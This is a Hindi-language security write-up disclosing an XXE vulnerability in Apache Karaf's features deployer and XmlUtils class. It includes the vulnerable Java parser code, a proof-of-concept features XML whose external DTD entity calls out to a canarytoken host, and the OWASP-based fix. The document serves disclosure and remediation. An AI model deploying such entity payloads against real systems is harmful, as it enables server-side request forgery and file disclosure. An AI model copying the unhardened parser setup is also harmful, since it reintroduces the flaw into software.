
Apache Karaf XXE Vulnerability (CVE-2018-11788)
Apache Karaf एक आधुनिक और बहुरूपी अनुप्रयोग कंटेनर है। यह OSGi द्वारा संचालित एक हल्का, शक्तिशाली और उद्यम-तैयार कंटेनर है। Apache Karaf एक "उत्पाद परियोजना" है, जो एक पूर्ण और टर्नकी रनटाइम प्रदान करता है। रनटाइम "बहु-पहलू" है, जिसका अर्थ है कि आप विभिन्न प्रकार के अनुप्रयोगों को तैनात कर सकते हैं: OSGi या गैर-OSGi, वेबएप्लिकेशन, सेवा-आधारित, आदि।
Apache Karaf पर हाल के शोध में, मुझे इसके XML पार्सर्स में कुछ XXE (XML eXternal Entity injection) कमजोरियाँ मिलीं। इसका कारण यह है कि पार्सर XML दस्तावेज़ को अनुचित रूप से पार्स करते हैं।
आधिकारिक मैनुअल के अनुसार, Apache Karaf डिफ़ॉल्ट रूप से एक features deployer प्रदान करता है, जो उपयोगकर्ताओं को deploy फ़ोल्डर में फ़ाइल को सीधे ड्रॉप करके features XML को "हॉट डिप्लॉय" करने की अनुमति देता है।
जब आप deploy फ़ोल्डर में एक features XML ड्रॉप करते हैं, तो features deployer निम्न कार्य करता है:
उदाहरण के लिए, deploy फ़ोल्डर में निम्नलिखित XML ड्रॉप करने से feature1 और feature2 स्वचालित रूप से स्थापित हो जाएंगे, जबकि feature3 स्थापित नहीं होगा:
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="feature1" version="1.0" install="auto">
...
</feature>
<feature name="feature2" version="1.0" install="auto">
...
</feature>
<feature name="feature3" version="1.0">
...
</feature>
</features>
यह जानने के लिए कि deployer XML फ़ाइल को कैसे संभालता है, मैंने Github पर Karaf के स्रोत कोड की जाँच की और निम्नलिखित आह्वान पाए:
Activator वर्ग doStart() फ़ंक्शन को आह्वान करता है ताकि deployer के लिए एक लिसनर प्रारंभ किया जा सकेdoStart() फ़ंक्शन FeatureDeploymentListener.init() को आह्वान करता है ताकि एक लिसनर को आरंभ किया जा सकेbundleChanged - canHandle - getRootElementName को कॉल करता है ताकि XMLInputFactory का लाभ उठाकर XML दस्तावेज़ को पार्स किया जा सकेलेकिन नीचे दिए गए फ़ंक्शन getRootElementName की आगे की जाँच करने पर, XXE के विरुद्ध कोई रोकथाम नहीं है।
private QName getRootElementName(File artifact) throws Exception {
if (xif == null) {
xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
}
try (InputStream is = new FileInputStream(artifact)) {
XMLStreamReader sr = xif.createXMLStreamReader(is);
sr.nextTag();
return sr.getName();
}
}
इसलिए, मैंने मान लिया कि यह Apache Karaf के लिए एक संभावित सुरक्षा जोखिम पैदा करता है।
अपनी धारणा को सत्यापित करने के लिए, मैंने Apache Karaf 4.2.0 के नवीनतम आधिकारिक रिलीज़ पर परीक्षण किया, जिसे https://karaf.apache.org/download.html से डाउनलोड किया गया था, जैसा कि नीचे दिया गया है।
bin पर जाएँ ताकि नीचे दिखाए अनुसार Karaf कमांड कंसोल प्रारंभ किया जा सके bin$ ./karaf
__ __ ____
/ //_/____ __________ _/ __/
/ ,< / __ `/ ___/ __ `/ /_
/ /| |/ /_/ / / / /_/ / __/
/_/ |_|\__,_/_/ \__,_/_/
Apache Karaf (4.2.0)
Hit '<tab>' for a list of available commands
and '[cmd] --help' for help on a specific command.
Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.
karaf@root()>
27av6zyg33g8q8xu338uvhnsc.canarytokens.com<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
deploy के अंतर्गत कॉपी करेंapache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
कुछ देर प्रतीक्षा करें, और फिर आप अपनी परीक्षण मशीन से DNS अनुरोध देखेंगे, जिसका अर्थ है कि XML पार्सर DTDs में एम्बेडेड बाहरी एंटिटीज़ को लोड करने का प्रयास कर रहा है

नीचे दिए गए OWASP गाइड का पालन करें जो इस कमजोरी को रोकने के लिए संक्षिप्त जानकारी प्रदान करता है। https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
उदाहरण के लिए, फ़ंक्शन getRootElementName में DTDs और बाहरी एंटिटीज़ को अक्षम करने के लिए नीचे दिए गए कोड जोड़ें।
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities
उपरोक्त निष्कर्ष के अलावा, मैंने Apache Karaf परियोजना में एक और वर्ग XmlUtils पाया जिसने XML दस्तावेज़ को पार्स करते समय XXE कमजोरी से कोई सुरक्षा नहीं जोड़ी।
package org.apache.karaf.util;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Utils class to manipulate XML document in a thread safe way.
*/
public class XmlUtils {
private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();
public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(uri);
} finally {
db.reset();
}
}
public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(stream);
} finally {
db.reset();
}
}
public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
db.setErrorHandler(errorHandler);
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer();
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer(xsltSource);
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
SAXParserFactory spf = SAX_PARSER_FACTORY.get();
if (spf == null) {
spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
SAX_PARSER_FACTORY.set(spf);
}
return spf.newSAXParser().getXMLReader();
}
public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
if (dbf == null) {
dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DOCUMENT_BUILDER_FACTORY.set(dbf);
}
return dbf.newDocumentBuilder();
}
public static Transformer transformer() throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer();
}
private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer(xsltSource);
}
}